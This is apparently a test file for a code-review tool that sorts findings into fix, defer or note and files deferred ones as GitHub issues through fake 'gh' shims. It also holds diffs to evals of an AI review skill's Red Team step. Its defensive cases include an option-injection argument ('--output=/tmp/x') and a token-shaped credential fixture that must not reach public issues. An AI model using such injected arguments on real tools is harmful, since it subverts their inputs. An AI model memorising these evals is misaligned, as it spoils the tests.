{ skill: 'review', timestamp: '2026-10-26T10:40:00Z', findings: [{ fingerprint: 'e:1:v', blocking: true }] },
];
const s = summarizeReviewLoop(rows, '2026-10-26T09:30:00Z');
expect(s).toEqual({ passes: 2, blocking_found: 2, deferred: 1, noted: 1, fixed: 1, scope: 'frozen' });
expect(reviewLoopLine(s)).toBe('REVIEW_LOOP: passes=2 blocking_found=2 deferred=1 noted=1 fixed=1 scope=frozen');
});
// A pass logged without the template's timestamp (the logger stamps review_binding.started_at, never
// timestamp) is still this invocation's pass; dropping it silently under-reported passes on #3481.
test('a row dates from the logger\'s binding start before the writer\'s timestamp; a row with neither is not counted', () => {
const rows = [
{ skill: 'review', via: 'ship', timestamp: '2026-10-26T10:00:00Z', review_scope: 'frozen', findings: [{ fingerprint: 'a:1:x', blocking: true, action: 'auto-fixed' }] },
{ skill: 'review', via: 'ship', review_scope: 'frozen', review_binding: { state: 'changed', started_at: '2026-10-26T10:30:00.000Z' }, findings: [{ fingerprint: 'c:1:z', action: 'noted' }] },
// A writer-typed date-only timestamp parses as midnight, before --since; the logger's start keeps the pass.
{ skill: 'review', via: 'ship', timestamp: '2026-10-26', review_binding: { state: 'verified', started_at: '2026-10-26T10:45:00.000Z' }, findings: [{ fingerprint: 'd:1:w', action: 'noted' }] },
{ skill: 'review', via: 'ship', review_binding: { state: 'changed', started_at: '2026-10-26T09:00:00.000Z' }, findings: [{ fingerprint: 'old:1:q', action: 'noted' }] },
{ skill: 'review', via: 'ship', findings: [{ fingerprint: 'undated:1:q', action: 'noted' }] },
];
expect(summarizeReviewLoop(rows, '2026-10-26T09:30:00Z')).toEqual({ passes: 3, blocking_found: 1, deferred: 0, noted: 2, fixed: 1, scope: 'frozen' });
});
});
describe('gstack-review-scope (bin)', () => {
test('classify reads the branch diff and the pass range from git, honours the policy default, and refuses bad input with REVIEW_SCOPE_INPUT / REVIEW_SCOPE_RANGE', () => {
const repo = fixture();
const src = path.join(repo.work, 'src');
fs.mkdirSync(src, { recursive: true });
fs.writeFileSync(path.join(src, 'legacy.ts'), Array.from({ length: 30 }, (_, i) => `legacy ${i + 1}`).join('\n') + '\n');
fs.writeFileSync(path.join(src, 'auth.ts'), Array.from({ length: 30 }, (_, i) => `line ${i + 1}`).join('\n') + '\n');
repo.git('add', '.'); repo.git('commit', '-qm', 'seed'); repo.git('push', '-q', 'origin', 'main');
repo.git('checkout', '-qb', 'feat');
const lines = fs.readFileSync(path.join(src, 'auth.ts'), 'utf8').split('\n');
lines[9] = 'line 10 changed';
fs.writeFileSync(path.join(src, 'auth.ts'), lines.join('\n'));
repo.git('commit', '-qam', 'change line 10');
const pass1Head = repo.git('rev-parse', 'HEAD');
const findings = JSON.stringify([
{ fingerprint: 'src/auth.ts:10:logic', path: 'src/auth.ts', line: 10, severity: 'CRITICAL', category: 'logic', summary: 'wrong' },
{ fingerprint: 'src/auth.ts:25:logic', path: 'src/auth.ts', line: 25, severity: 'CRITICAL', category: 'logic', summary: 'neighbour' },
{ fingerprint: 'src/legacy.ts:3:security', path: 'src/legacy.ts', line: 3, severity: 'CRITICAL', category: 'security', summary: 'old' },
{ fingerprint: 'src/legacy.ts:4:style', path: 'src/legacy.ts', line: 4, severity: 'INFORMATIONAL', category: 'style', summary: 'wording' },
]);
const f = path.join(repo.root, 'findings.json');
fs.writeFileSync(f, findings);
// diff.mnemonicPrefix prints c/ and w/ instead of a/ and b/; classify pins the prefixes, so the user's git config cannot send every finding outside.
repo.git('config', 'diff.mnemonicPrefix', 'true');
const p1 = runBin(repo, 'gstack-review-scope', ['classify', '--base', 'main', '--pass', '1', '--findings', f, '--json']);
expect(p1.status).toBe(EXIT.ok);
expect(p1.err.trim()).toBe('REVIEW_SCOPE: policy=frozen pass=1 findings=4 fix=1 defer=2 note=1 blocking=3');
const j1 = JSON.parse(p1.out);
expect(j1.policy).toBe('frozen');
expect(j1.findings.map((x: ScopedFinding) => `${x.fingerprint}=${x.locus}/${x.scope}`)).toEqual([
'src/auth.ts:10:logic=diff/fix', 'src/auth.ts:25:logic=outside/defer', 'src/legacy.ts:3:security=outside/defer', 'src/legacy.ts:4:style=outside/note']);
// pass 1 "fixed" line 10 and touched line 25 (a regression in the fix range)
lines[9] = 'line 10 fixed'; lines[24] = 'line 25 touched by the fix';
fs.writeFileSync(path.join(src, 'auth.ts'), lines.join('\n'));
repo.git('commit', '-qam', 'fix: pre-landing review fixes');
const p2 = runBin(repo, 'gstack-review-scope', ['classify', '--base', 'main', '--pass', '2', '--range-base', pass1Head, '--findings', f, '--json']);
expect(p2.status).toBe(EXIT.ok);
expect(JSON.parse(p2.out).findings.map((x: ScopedFinding) => `${x.fingerprint}=${x.locus}/${x.scope}`)).toEqual([
'src/auth.ts:10:logic=fix-range/fix', 'src/auth.ts:25:logic=fix-range/fix', 'src/legacy.ts:3:security=outside/defer', 'src/legacy.ts:4:style=outside/note']);
const all = runBin(repo, 'gstack-review-scope', ['classify', '--base', 'main', '--pass', '2', '--range-base', pass1Head, '--policy', 'all', '--findings', f, '--json']);
expect(JSON.parse(all.out).findings.every((x: ScopedFinding) => x.scope === 'fix')).toBe(true);
const noRange = runBin(repo, 'gstack-review-scope', ['classify', '--base', 'main', '--pass', '2', '--findings', f]);
expect(noRange.status).toBe(EXIT.fail);
expect(noRange.err).toContain('(REVIEW_SCOPE_INPUT;');
const badRange = runBin(repo, 'gstack-review-scope', ['classify', '--base', 'main', '--pass', '2', '--range-base', 'f'.repeat(40), '--findings', f]);
expect(badRange.status).toBe(EXIT.fail);
expect(badRange.err).toContain('(REVIEW_SCOPE_RANGE;');
// a --range-base on pass 1 is not applied, so the envelope does not claim it
const p1Range = runBin(repo, 'gstack-review-scope', ['classify', '--base', 'main', '--pass', '1', '--range-base', pass1Head, '--findings', f, '--json']);
expect(JSON.parse(p1Range.out).range_base).toBeNull();
for (const args of [['--pass', '0'], ['--pass', '1', '--policy', 'loose'], ['--pass', '2', '--range-base', '--output=/tmp/x']]) {
const r = runBin(repo, 'gstack-review-scope', ['classify', '--base', 'main', ...args, '--findings', f]);
expect(r.status).toBe(EXIT.fail);
expect(r.err).toContain('(REVIEW_SCOPE_INPUT;');
}
// the reviewed policy is the base's; an unresolvable base is refused by name, never read from the working tree
const noBase = runBin(repo, 'gstack-review-scope', ['classify', '--base', 'nonesuch', '--pass', '1', '--findings', f]);
expect(noBase.status).toBe(EXIT.refused);
expect(noBase.err).toContain('(POLICY_SOURCE_UNAVAILABLE)');
expect(noBase.err).toContain('pass --policy to classify without the base');
fs.writeFileSync(f, '{"not":"an array"}');
const bad = runBin(repo, 'gstack-review-scope', ['classify', '--base', 'main', '--pass', '1', '--findings', f]);
expect(bad.status).toBe(EXIT.fail);
expect(bad.err).toContain('(REVIEW_SCOPE_INPUT;');
const d = path.join(repo.root, 'deferred.json'); fs.writeFileSync(d, '{}');
const badRender = runBin(repo, 'gstack-review-scope', ['render', '--deferred', d]);
expect(badRender.status).toBe(EXIT.fail);
expect(badRender.err).toContain('expected the JSON array defer --out writes');
});
test('classify sees a non-ASCII changed path under its own name, so a CRITICAL finding there is fixed, not deferred to an issue', () => {
const repo = fixture();
fs.mkdirSync(path.join(repo.work, 'src'), { recursive: true });
fs.writeFileSync(path.join(repo.work, 'src', 'café.ts'), 'export const a = 1;\n');
repo.git('add', '.'); repo.git('commit', '-qm', 'seed'); repo.git('push', '-q', 'origin', 'main');
repo.git('checkout', '-qb', 'feat');
fs.writeFileSync(path.join(repo.work, 'src', 'café.ts'), 'export const a = 2;\n');
repo.git('commit', '-qam', 'change');
fs.writeFileSync(path.join(repo.work, 'src', 'naïve.ts'), 'export const n = 1;\n');
const f = path.join(repo.root, 'findings.json');
fs.writeFileSync(f, JSON.stringify([
{ path: 'src/café.ts', line: 1, severity: 'CRITICAL', category: 'logic', summary: 'wrong' },
{ path: 'src/naïve.ts', line: 1, severity: 'CRITICAL', category: 'logic', summary: 'untracked' },
]));
const r = runBin(repo, 'gstack-review-scope', ['classify', '--base', 'main', '--pass', '1', '--findings', f, '--json']);
expect(r.status).toBe(EXIT.ok);
expect(JSON.parse(r.out).findings.map((x: ScopedFinding) => `${x.path}=${x.locus}/${x.scope}`)).toEqual(['src/café.ts=diff/fix', 'src/naïve.ts=diff/fix']);
});
test('defer without gh keeps the finding deferred as unfiled and still exits 0 (the PR body carries the reason), searches once before creating, and files nothing when the search fails; --dry-run files nothing', () => {
const repo = fixture();
const classified = path.join(repo.root, 'classified.json');
fs.writeFileSync(classified, JSON.stringify([
{ fingerprint: 'lib/legacy.ts:7:data-loss', path: 'lib/legacy.ts', line: 7, severity: 'CRITICAL', category: 'data-loss', summary: 'Unbounded delete', locus: 'outside', kind: 'defect', blocking: true, scope: 'defer' },
{ fingerprint: 'src/auth.ts:42:naming', path: 'src/auth.ts', line: 42, severity: 'INFORMATIONAL', category: 'naming', summary: 'rename b', locus: 'diff', kind: 'defect', blocking: false, scope: 'note' },
{ fingerprint: 'src/auth.ts:11:security', path: 'src/auth.ts', line: 11, severity: 'CRITICAL', category: 'security', summary: 'fixed', locus: 'diff', kind: 'defect', blocking: true, scope: 'fix' },
]));
const dry = runBin(repo, 'gstack-review-scope', ['defer', '--findings', classified, '--pr', '42', '--dry-run', '--json']);
expect(dry.status).toBe(EXIT.ok);
expect(JSON.parse(dry.out)).toEqual([{ fingerprint: 'lib/legacy.ts:7:data-loss', path: 'lib/legacy.ts:7', severity: 'CRITICAL', summary: 'Unbounded delete', issue: null, reason: 'dry run' }]);
const noGh = path.join(repo.root, 'nogh');
fs.mkdirSync(noGh);
fs.writeFileSync(path.join(noGh, 'gh'), '#!/bin/sh\necho "gh: not logged in" >&2; exit 4\n', { mode: 0o755 });
const out = path.join(repo.root, 'deferred.json');
const unfiled = runBin(repo, 'gstack-review-scope', ['defer', '--findings', classified, '--pr', '42', '--out', out], { PATH: `${noGh}:${process.env.PATH}` });
expect(unfiled.status).toBe(EXIT.ok);
expect(unfiled.err).toMatch(/^DEFERRED: unfiled \(gh issue list failed: gh: not logged in\) CRITICAL lib\/legacy\.ts:7$/m);
expect(unfiled.out).toContain('- Deferred: unfiled (gh issue list failed: gh: not logged in) — CRITICAL `lib/legacy.ts:7` Unbounded delete');
// the search failed, so nothing was created: a rate-limited rerun cannot duplicate the issue the marker exists to find
const listFails = path.join(repo.root, 'listfails');
fs.mkdirSync(listFails);
const created = path.join(listFails, 'created');
fs.writeFileSync(path.join(listFails, 'gh'), `#!/bin/sh\nif [ "$1" = issue ] && [ "$2" = list ]; then echo "gh: HTTP 403 rate limit" >&2; exit 1; fi\nif [ "$1" = issue ] && [ "$2" = create ]; then touch "${created}"; echo https://example.test/o/r/issues/1; exit 0; fi\nexit 1\n`, { mode: 0o755 });
const rateLimited = runBin(repo, 'gstack-review-scope', ['defer', '--findings', classified, '--pr', '42', '--json'], { PATH: `${listFails}:${process.env.PATH}` });
expect(rateLimited.status).toBe(EXIT.ok);
expect(JSON.parse(rateLimited.out)[0]).toMatchObject({ issue: null, reason: 'gh issue list failed: gh: HTTP 403 rate limit' });
expect(fs.existsSync(created)).toBe(false);
const rendered = runBin(repo, 'gstack-review-scope', ['render', '--deferred', out, '--findings', classified]);
expect(rendered.status).toBe(EXIT.ok);
expect(rendered.out).toContain('## Deferred findings');
expect(rendered.out).toContain('## Review notes');
expect(rendered.out).toContain('- INFORMATIONAL `src/auth.ts:42` rename b');
expect(rendered.out).not.toContain('src/auth.ts:11');
});
test('defer through gh creates one issue per deferred finding and reuses an open issue that already carries the marker', () => {
const repo = fixture();
const shim = path.join(repo.root, 'gh-shim');
fs.mkdirSync(shim);
const log = path.join(shim, 'calls.log');
fs.writeFileSync(path.join(shim, 'gh'), [
'#!/bin/sh', `echo "$*" >> "${log}"`,
'if [ "$1" = issue ] && [ "$2" = list ]; then',
` echo '[{"number":9,"url":"https://example.test/acme/app/issues/9","body":"x <!-- gstack-deferred-finding: lib/legacy.ts:7:data-loss --> y"},{"number":3,"url":"https://example.test/acme/app/issues/3","body":"<!-- gstack-deferred-finding: other:1:x -->"}]'; exit 0; fi`,
'if [ "$1" = issue ] && [ "$2" = create ]; then echo "https://example.test/acme/app/issues/10"; exit 0; fi',
'echo "unsupported $*" >&2; exit 1', '',
].join('\n'), { mode: 0o755 });
const classified = path.join(repo.root, 'classified.json');
fs.writeFileSync(classified, JSON.stringify([
{ fingerprint: 'lib/legacy.ts:7:data-loss', path: 'lib/legacy.ts', line: 7, severity: 'CRITICAL', category: 'data-loss', summary: 'Unbounded delete', locus: 'outside', kind: 'defect', blocking: true, scope: 'defer' },
{ fingerprint: 'lib/old.ts:1:auth', path: 'lib/old.ts', line: 1, severity: 'CRITICAL', category: 'auth', summary: 'Missing owner check', fix: 'check owner', locus: 'outside', kind: 'defect', blocking: true, scope: 'defer' },
// Reviewer text is untrusted: a security finding that quotes the credential it found must not reach a public issue.
{ fingerprint: 'lib/keys.ts:3:security', path: 'lib/keys.ts', line: 3, severity: 'CRITICAL', category: 'security', summary: 'Hardcoded token ghp_' + 'Qm4zR7tK2wX9pL5vN8sD1fG6hJ3yB0cA7eU2', locus: 'outside', kind: 'defect', blocking: true, scope: 'defer' },
]));
const r = runBin(repo, 'gstack-review-scope', ['defer', '--findings', classified, '--pr', '42', '--repo', 'acme/app', '--json'], { PATH: `${shim}:${process.env.PATH}` });
expect(r.status).toBe(EXIT.ok);
const records = JSON.parse(r.out);
expect(records.slice(0, 2)).toEqual([
{ fingerprint: 'lib/legacy.ts:7:data-loss', path: 'lib/legacy.ts:7', severity: 'CRITICAL', summary: 'Unbounded delete', issue: 9, url: 'https://example.test/acme/app/issues/9', reason: 'already filed' },
{ fingerprint: 'lib/old.ts:1:auth', path: 'lib/old.ts:1', severity: 'CRITICAL', summary: 'Missing owner check', issue: 10, url: 'https://example.test/acme/app/issues/10' },
]);
expect(records[2].issue).toBeNull();
expect(records[2].reason).toMatch(/^publication scan refused: HIGH /);
expect(r.err).toContain('DEFERRED: #9 CRITICAL lib/legacy.ts:7');
expect(r.err).toContain('DEFERRED: #10 CRITICAL lib/old.ts:1');
expect(r.err).toContain('DEFERRED: unfiled (publication scan refused: HIGH ');
const calls = fs.readFileSync(log, 'utf8');
expect(calls.match(/^issue create /gm)?.length).toBe(1);
expect(calls.match(/^issue list /gm)?.length).toBe(1);
expect(calls).toContain('--search "gstack-deferred-finding" in:body');
expect(calls).toContain('issue create --title=Deferred review finding: lib/old.ts:1 — Missing owner check --body-file=- --repo acme/app');
expect(calls).not.toContain('Qm4zR7tK2wX9pL5vN8sD1fG6hJ3yB0cA7eU2');
});
// Generated by /ship Step 7 (coverage audit of the harness lane E diff).
// Value: protects=summary reads this branch's review log through gstack-review-read and prints the REVIEW_LOOP counters that
// `gstack-ship-receipt write --review-loop` consumes, counting only this invocation's ship-via review passes and tolerating a
// malformed row and a branch with no log; fails_when=the row filter, the ---CONFIG--- split, the --since guard or the --out
// write breaks, or a missing log is treated as an error instead of zero passes; why_new=only the pure summarizeReviewLoop is
// tested, never the bin against a review log on disk; seam=none; no_claim=review-log writing (rows are written directly, not
// through gstack-review-log)
test('summary reads the branch review log through gstack-review-read, counts this invocation\'s passes, writes --out, and refuses a missing --since', () => {
const repo = fixture();
repo.git('checkout', '-qb', 'feat');
const slug = runBin(repo, 'gstack-slug', ['--get', 'SLUG']).out.trim();
const branch = runBin(repo, 'gstack-slug', ['--get', 'BRANCH']).out.trim();
expect(slug).not.toBe('');
expect(branch).toBe('feat');
const logDir = path.join(repo.home, 'projects', slug);
fs.mkdirSync(logDir, { recursive: true });
const rows = [
{ skill: 'review', via: 'ship', timestamp: '2026-10-26T09:00:00Z', status: 'clean', review_scope: 'frozen', findings: [{ fingerprint: 'old:1:q', blocking: true, action: 'fixed' }] },
{ skill: 'review', via: 'ship', timestamp: '2026-10-26T10:00:00Z', status: 'issues_found', review_scope: 'frozen', findings: [
{ fingerprint: 'a:1:x', blocking: true, action: 'auto-fixed' }, { fingerprint: 'b:1:y', blocking: true, action: 'deferred', issue: 5 }, { fingerprint: 'c:1:z', action: 'noted' }] },
{ skill: 'adversarial-review', via: 'ship', timestamp: '2026-10-26T10:15:00Z', findings: [{ fingerprint: 'd:1:w', blocking: true }] },
{ skill: 'review', via: 'ship', timestamp: '2026-10-26T10:30:00Z', status: 'clean', review_scope: 'frozen', findings: [
{ fingerprint: 'b:1:y', blocking: true, action: 'deferred', issue: 5 }, { fingerprint: 'c:1:z', action: 'noted' }] },
{ skill: 'review', timestamp: '2026-10-26T10:40:00Z', findings: [{ fingerprint: 'e:1:v', blocking: true, action: 'fixed' }] },
];
fs.writeFileSync(path.join(logDir, `${branch}-reviews.jsonl`), rows.map(r => JSON.stringify(r)).join('\n') + '\n{not json\n');
const expected = { passes: 2, blocking_found: 2, deferred: 1, noted: 1, fixed: 1, scope: 'frozen' };
const out = path.join(repo.root, 'review-loop.json');
const r = runBin(repo, 'gstack-review-scope', ['summary', '--since', '2026-10-26T09:30:00Z', '--out', out, '--json']);
expect(r.status).toBe(EXIT.ok);
expect(r.err).toContain('REVIEW_LOOP: passes=2 blocking_found=2 deferred=1 noted=1 fixed=1 scope=frozen');
expect(JSON.parse(r.out)).toEqual(expected);
expect(JSON.parse(fs.readFileSync(out, 'utf8'))).toEqual(expected);
const plain = runBin(repo, 'gstack-review-scope', ['summary', '--since', '2026-10-26T08:00:00Z']);
expect(plain.status).toBe(EXIT.ok);
expect(plain.out.trim()).toBe('REVIEW_LOOP: passes=3 blocking_found=3 deferred=1 noted=1 fixed=2 scope=frozen');
const noSince = runBin(repo, 'gstack-review-scope', ['summary', '--json']);
expect(noSince.status).toBe(EXIT.fail);
expect(noSince.err).toContain('(REVIEW_SCOPE_INPUT;');
expect(noSince.out).toBe('');
const badSince = runBin(repo, 'gstack-review-scope', ['summary', '--since', 'yesterday']);
expect(badSince.status).toBe(EXIT.fail);
expect(badSince.err).toContain('(REVIEW_SCOPE_INPUT;');
// zero matching passes is a wrong --since or a log written elsewhere, never a loop to record: refused, nothing written
const bare = fixture();
const noneOut = path.join(bare.root, 'review-loop.json');
const none = runBin(bare, 'gstack-review-scope', ['summary', '--since', '2026-10-26T09:30:00Z', '--out', noneOut, '--json']);
expect(none.status).toBe(EXIT.fail);
expect(none.err).toContain('(REVIEW_SCOPE_INPUT;');
expect(none.err).toContain('REVIEW_LOOP: passes=0');
expect(fs.existsSync(noneOut)).toBe(false);
const late = runBin(repo, 'gstack-review-scope', ['summary', '--since', '2026-10-27T00:00:00Z']);
expect(late.status).toBe(EXIT.fail);
});
});
+8 -5
View File
@@ -434,14 +434,14 @@ for (const skillName of ['review', 'ship']) {
expectMentions(flat, [['never', 'dispatched', 'incomplete']], 'flat');
const redTeam = flat.slice(flat.indexOf('### Red Team dispatch'));
expectMentions(redTeam, [['confirm', 'incomplete', 'stopped']], 'redTeam');
expect(redTeam).toContain('stages 1–7');
expect(redTeam).toContain('stages 1–8');
});
test(`${skillName} clarity: ordered specialist merge separates validation from scoring and provenance`, () => {
const markers = ['#### 1. Parse outputs', '#### 2. Validate severity',
'#### 3. Identify and merge', '#### 4. Apply specialist confidence gates',
'#### 5. Score and present specialists', '#### 6. Save specialist activity',
'#### 7. Hand off to Fix-First'];
'#### 3. Identify and merge', '#### 4. Lead judgment', '#### 5. Apply specialist confidence gates',
'#### 6. Score and present specialists', '#### 7. Save specialist activity',
'#### 8. Hand off to Fix-First'];
const positions = markers.map(marker => army.indexOf(marker));
expect(positions.every(position => position >= 0)).toBe(true);
expect(positions).toEqual([...positions].sort((a, b) => a - b));
@@ -454,7 +454,10 @@ for (const skillName of ['review', 'ship']) {
for (const rule of [/never trust a supplied hash/i, /missing\/malformed metadata cannot deduplicate/i,
/core findings never earn a specialist confidence boost/i]) expect(merge).toMatch(rule);
for (const gate of ['Confidence 7+', 'Confidence 5-6', 'Confidence 3-4', 'Confidence 1-2']) expect(army).toContain(gate);
const scoring = flat.slice(flat.indexOf('#### 5.'), flat.indexOf('#### 6.'));
const judgment = flat.slice(flat.indexOf('#### 4.'), flat.indexOf('#### 5.'));
for (const filter of [/nit gravity/i, /hypothetical, not actual/i, /case that does not exist/i, /different design is not a defect/i, /missing context/i]) expect(judgment).toMatch(filter);
expect(judgment).toContain('returned `NO FINDINGS` was right');
const scoring = flat.slice(flat.indexOf('#### 6.'), flat.indexOf('#### 7.'));
expect(scoring).toMatch(/only specialist findings enter this header and `quality_score`/i);
expect(scoring).toMatch(/non-advisory/i);
expect(scoring).toContain('quality_score = max(0, 10 - (critical_count * 2 + informational_count * 0.5))');
+1 -1
View File
@@ -89,7 +89,7 @@ describe('shared-code skill distribution', () => {
}
if (host.name !== 'codex' && !host.suppressedResolvers?.includes('REVIEW_ARMY')) {
const stages = ['#### 1. Parse outputs', '#### 2. Validate severity', '#### 3. Identify and merge',
'#### 4. Apply specialist confidence gates', '#### 5. Score and present specialists'];
'#### 4. Lead judgment', '#### 5. Apply specialist confidence gates', '#### 6. Score and present specialists'];
const positions = stages.map(stage => parent.indexOf(stage));
expect(positions.every(position => position >= 0)).toBe(true);
expect(positions).toEqual([...positions].sort((a, b) => a - b));
+15 -6
View File
@@ -254,22 +254,31 @@ finish with a brief acknowledgement rather than repeating the findings in the fi
let passed = false;
try {
expect(result.exitReason).toBe('success');
expect(result.toolCalls.some(call =>
['Agent', 'Task'].includes(call.tool)
&& /\bred[ -]team\b/i.test(call.input.description ?? call.input.subagent_type ?? '')
&& call.input.run_in_background === false,
)).toBe(true);
const foreground = result.toolCalls.filter(call =>
['Agent', 'Task'].includes(call.tool) && call.input.run_in_background === false);
const label = (call: { input: any }) => call.input.description ?? call.input.subagent_type ?? '';
const isRedTeam = (call: { input: any }) => /\bred[ -]team\b/i.test(label(call));
const performance = foreground.findIndex(call => /\bperformance\b/i.test(label(call)) && !isRedTeam(call));
expect(performance).toBeGreaterThanOrEqual(0);
expect(foreground.findIndex(isRedTeam)).toBeGreaterThan(performance);
const outputPath = path.join(dir, 'review-output.md');
expect(fs.existsSync(outputPath)).toBe(true);
const content = fs.readFileSync(outputPath, 'utf-8').toLowerCase();
// The Red Team activates only on a CRITICAL specialist finding (a test that would
// fail, a production break, or a security or data-loss defect). An N+1 on a
// 12-line diff is usually INFORMATIONAL under that definition, so the case asserts
// the branch the run took: a foreground Red Team subagent that ran must follow the
// Performance specialist; no Red Team is correct only when the report's own count
// says 0 critical and its Red Team line names that reason.
const criticalCount = Number(/specialist review:.*?\((\d+) critical/.exec(content)?.[1] ?? NaN);
expect(Number.isFinite(criticalCount)).toBe(true);
const redTeamIndex = foreground.findIndex(isRedTeam);
if (redTeamIndex >= 0) {
expect(redTeamIndex).toBeGreaterThan(performance);
} else {
expect(criticalCount).toBe(0);
expect(content).toMatch(/red team[^\n]*(not activated|not dispatched|skipped)[^\n]*critical/);
}
const hasN1Finding =
content.includes('n+1') ||
content.includes('n + 1') ||